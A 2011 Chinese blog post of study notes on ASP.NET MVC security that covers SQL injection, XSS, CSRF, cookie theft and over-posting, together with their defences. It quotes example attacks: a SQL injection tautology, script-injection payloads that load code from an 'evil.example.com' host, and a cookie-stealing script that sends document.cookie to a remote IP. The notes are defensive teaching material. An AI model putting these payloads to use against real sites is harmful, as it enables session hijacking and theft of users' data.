`

9、MVC程序安全限定

阅读更多
常见网络安全攻击隐患
针对Asp.net MVC防御体系

安全性策略

where name='' and password=''

逻辑转接
where name='' and password='1' or '1=1'

脚本注入攻击

Asp.net webform
保护了一些情况

原则:
  1、任何接收用户输入都要Encode,去掉Html标记
  2、永远对任何人不加检查的使用HTML输入,白名单,
  3、对Cookies进行验证
  4、尽可能使用各种防范使用iss类库

永远不要相信用户的输入是安全的

攻击者是谁,想干嘛?
白帽黑客  -系统补丁 操作系统非常了解
黑帽黑客  -好奇心

攻击是如何进行的
社会工程学和凯文.米特尼克

黑客攻击的武器
• 不间断的尝试
• 各种专用设备
• 社会工程学技巧

垃圾邮件
广告发布和木马攻击的桥梁

常见攻击方式及其防范
• 跨站脚本攻击
• 跨域请求
• Cookie窃取
• 超载攻击方式
跨站脚本攻击
Cross-Site Scripting(xss)

url中输入的地方先
No blog!Sorry:<
查看源代码发现,没有Encode,如下:
<a href=”No blog! Sorry :<”>Rob Conery</a>
这时,可以输入脚本了:
“><iframe
src=”http://haha.juvenilelamepranks.example.com”
height=”400” width=500/>
iframe嵌入一图片,真正攻击可能更复杂

“></a><script
src=”http://srizbitrojan.evil.example.com”>
</script> <a href=”
以上为简单实例
被动攻击

主动注入
主动攻击介绍
将自己网站插入攻击网站,伪装成攻击网站一部分
下载软件都是主动攻击

避免XSS的办法
使用HTML.Encode来实现格式化所有内容
<% Html.Encode(Model.FirstName) %>
<%: Model.FirstName) %>. //同上面等价

<a href=”<%=Url.Action(“index”,”home”,new
{name=ViewData[“name”]})%>”>点击</a>   //URL地址  没做处理

//处理过,以下两种干净的
<a href=”<%=Url.Action(“index”,”home”,new
{name=Html.AttributeEncode(ViewData[“name”])})%>”>点击</a>
或<a href=”<%=Url.Encode(Url.Action(“index”,”home”,
new {name=ViewData[“name”]}))%>”>点击</a>

JavaScript编码
public ActionResult Index(string UserName)
{
ViewData[“UserName”] = UserName;
return View();
}
<h2 id=”welcome-message”></h2>
<script type=”text/javascript”>
$(function () {
var message = ‘Welcome, <%: ViewData[“UserName”] %>!’;
$(“#welcome-message”).html(message).show();
});
</script>

JS调用,看上去没问题,用户写特殊URL
http://localhost:35976/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
JS alert  没做任何不好的事情
但是可以做更多的事情

JS过滤
ntss的库

跨站请求
public ActionResult Logout() {
FormsAuth.SignOut();
return RedirectToAction(“Index”, “Home”);
}
<img src=”/account/logout” /> //页面

零尺寸图片

避免跨站欺骗攻击
• 操作身份认证
• 避免使用Get
• HTTP来源认证
<form action=”/account/register” method=”post”>
<%=Html.AntiForgeryToken()%></form>
<input type=”hidden” value=”012837udny31w90hjhf7u”> //隐秘字段
[ValidateAntiforgeryToken]
public ActionResult Register(…)

盗用Cookies
• Session Cookies  //服务器通信指标
• 序列化Cookies    //磁盘本地
禁用Cookies,就可以了,投票可以一直用

拷入化Cookies的窃取
跨站XSS脚本
<img src=”“http://www.a.com/a.jpg<script
type=text/javascript
src=”http://1.2.3.4:81/xss.js”>” /><<img
src=”http://www.a.com/a.jpg</script>

xss.js内容:
window.location=”http://1.2.3.4:81/r.php?u=”+document.
links[1].text”&l=”+document.links[1]+”&c=”+document.cookie;

避免Cookie被盗
-Response.Cookies["MyCookie"].value="Remembering you...";
-Response.Cookies["MyCookie"].HttpOnly=true; //只有服务器才能写

关于重复提交
[Bind(Include=”Name, Comment”)]
public class Review {
public int ReviewID { get; set; } // Primary key
public int ProductID { get; set; } // Foreign key
public Product Product { get; set; } // Foreign entity
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
[Bind(Exclude=”ReviewID, ProductID,Product,Approved”]  //白名单,加入或排除
UpdateModel(review, “Review”, new string
{ “Name”, “Comment” });
public class ReviewViewModel {
public string Name { get; set; }
public string Comment { get; set; }
}

避免暴露错误信息
<customErrors mode="off">
能看到错误代码,源代码,数据库实例地址及名字等
改成ON

保护你的Controller
[Authorize]来锁定你的Action
[nonaction]来锁定所有不开放的Action

总结:
安全要靠自己

资源Url
微软安全中心
http://msdn.microsoft.com/enus/
security/default.aspx
AntiXSS
http://antixss.codeplex.com/
Open Web Application
Security Project (OWASP)
http://www.owasp.org/

2011-4-23 11:35 danny
分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics